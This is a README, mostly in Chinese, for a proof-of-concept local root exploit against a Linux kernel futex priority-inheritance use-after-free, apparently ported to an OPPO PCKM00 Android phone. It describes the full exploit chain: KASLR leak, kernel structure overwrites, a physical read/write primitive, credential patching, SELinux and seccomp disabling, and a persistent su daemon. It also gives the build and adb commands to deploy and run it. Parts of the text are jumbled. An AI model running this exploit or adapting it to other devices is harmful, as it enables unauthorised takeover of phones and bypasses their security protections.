CVE-2026-43499 (GhostLock) — Linux 内核 futex 优先级继承
释放后使用本地提权 PoC,已移植到 OPPO PCKM00
(OP4A57, SM6150, Android 11, kernel 4.14.180-perf+)。
DISCLAIMER / 免责声明 本项目仅用于授权的安全研究与教育目的。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃,作者不承担任何滥用或损失的责任。
本项目仅用于授权的安全研究与教育目的。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃,作者不承担任何滥用或损失的责任。
CVE-2026-43499 (GhostLock) 是 Linux 内核 futex
优先级继承代码中的释放后使用漏洞。该缺陷位于 rt_mutex_start_proxy_lock() 的
代理锁回滚路径中 remove_waiter() 被误用。被释放的
rt_mutex_waiter(分配在内核栈上)被重新解释为攻击者控制的
fd_set,由 pselect() 复制进来,从而产生任意写原语。
受影响范围: Linux 4.x–6.x(2011 年引入)。4.14 系列完全
受影响。完整分析和已验证的符号偏移见 report.md。
futex requeue-pi UAF
└─> pselect fd_set stack copy (fake rt_mutex_waiter / fake task)
└─> arbitrary write (rt_mutex tree ops / sched_setattr)
└─> overwrite ashmem_fops -> configfs bin read/write
└─> pipe_buffer page rewrite (physical RW primitive)
└─> patch current task cred -> root
该 PoC 完全通过 LD_PRELOAD 在用户态运行——无需重启设备
(除非内核发生 panic)。
| Field | Value |
|---|---|
| Device | OPPO PCKM00 / OP4A57 |
| SoC | Qualcomm SM6150 |
| Android | 11 (RKQ1.200903.002) |
| Security patch | 2022-09-05 |
| Kernel | 4.14.180-perf+ (arm64, clang 10.0.7) |
| Build | OPPO/PCKM00/PCKM00:11/RKQ1.200903.002/1635513065:user/release-keys |
移植到其他 4.14 设备:复制
exploit/targets/oppo-pckm00/target.h并从你的内核镜像重新生成符号偏移(见analysis/)。
.
├── report.md # Full vulnerability analysis & verified offsets
├── exploit/
│ ├── Makefile # Build preload.so (Windows NDK / WSL)
│ ├── src/
│ │ ├── preload.c # LD_PRELOAD entry + forced disk logging + su
│ │ ├── main.c # Orchestration (waiter/owner/consumer threads)
│ │ ├── slide.c # KASLR leak (boot_id / nfulnl loggers)
│ │ ├── fops.c # ashmem_fops overwrite + configfs primitive
│ │ ├── pipe.c # pipe_buffer physrw primitive
│ │ ├── root.c # task walk + cred patch + seccomp/selinux
│ │ ├── util.c # kernelsnitch, skb page prep, kernel RW
│ │ ├── su_daemon.c # embedded su server (drop-in)
│ │ ├── su_blob.S # .incbin of su_daemon
│ │ └── wallpaper_blob.S # .incbin of wallpaper payload
│ ├── targets/oppo-pckm00/target.h # 4.14.180 symbol/struct offsets
│ └── assets/wallpaper.webp # embedded wallpaper payload
├── analysis/ # kernel image / kallsyms extraction scripts
└── LICENSE # Apache-2.0 (same as upstream GhostLock)
需要 Android NDK r29(aarch64-linux-android30-clang)。
set NDK=C:\path\to\android-ndk-r29
make NDK=%NDK%
# put NDK at /opt/ndk/android-ndk-r29 (linux-x86_64 toolchain)
cd exploit
make wsl
# or directly:
bash ../analysis/build_preload.sh
输出:exploit/preload.so(64 位 aarch64 ELF 共享对象)。
构建过程还会将 su_daemon.c 编译为 PIE 二进制文件,并通过 .S blob 将其(以及
壁纸)嵌入到 .so 中。
# binary only (works from a release asset or a local build)
adb push preload.so /data/local/tmp/preload.so
# or with the repo layout
adb push exploit/preload.so /data/local/tmp/preload.so
adb shell chmod 755 /data/local/tmp/preload.so
.so 通过 LD_PRELOAD 加载到 sh 进程中;其构造函数
运行整个利用链并报告结果:
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
成功后 shell 会报告:
uid=0(root) gid=0(root) ...
[+] ROOT OK pid=<pid> uid=0
当前进程(及其子进程)现在已是 root。一个 su 守护进程被
安装到 /apex/com.android.virt/bin/su(回退到
/data/local/tmp/su),并应用一个嵌入式壁纸作为
持久化/验证产物。
# from a new shell after the run
adb shell su -c 'id'
# or grab a root shell session (interactive su client)
adb shell /data/local/tmp/su
# check SELinux was toggled permissive (if the selinux path was hit)
adb shell getenforce
所有 pr_* 诊断信息也会写入
/sdcard/Download/log_<timestamp>.txt(回退到
/data/local/tmp/log_<timestamp>.txt),每行都使用 O_SYNC + fsync(),
以便日志在内核 panic / 重启后仍能保留:
adb pull /sdcard/Download/log_*.txt
# or if /sdcard is not mounted early
adb pull /data/local/tmp/log_*.txt
adb shell cat /sdcard/Download/log_*.txt
日志会显示每个阶段(KASLR slide、fops overwrite、pipe physrw、cred
patch)以及最终的 uid_after / ROOT OK 行——报告
问题时请附上它。
adb shell rm -f /data/local/tmp/preload.so /data/local/tmp/log_*.txt
adb shell rm -f /data/local/tmp/su /data/local/tmp/temp_su.sock /data/local/tmp/su_daemon.log
adb reboot # if SELinux/cred state or the wallpaper was modified
注意: 运行该利用可能导致内核崩溃。如果
adb断开,请等待 设备重启,然后拉取/sdcard/Download/log_*.txt——强制的O_SYNC/fsync日志记录正是能在 panic 后保留的内容。
boot_id/nfulnl logger 路径
(slide.c)以及 ashmem_fops 验证过程(fops.c)泄露 slide。.read/.write(没有 read_iter/write_iter),ashmem_fops 没有 show_fdinfo,generic_file_splice_read 取代了 copy_splice_read,selinux_enforcing 位于 struct selinux_state 内,rt_mutex_waiter / pipe_inode_info / cred 布局。task_struct.seccomp)是尽力而为的;未能
修补 seccomp 不会阻止 cred 覆盖提权。IonStack/CVE-2026-43499),Apache-2.0。
https://github.com/NebuSec/CyberMeowfiaApache-2.0 — 见 LICENSE。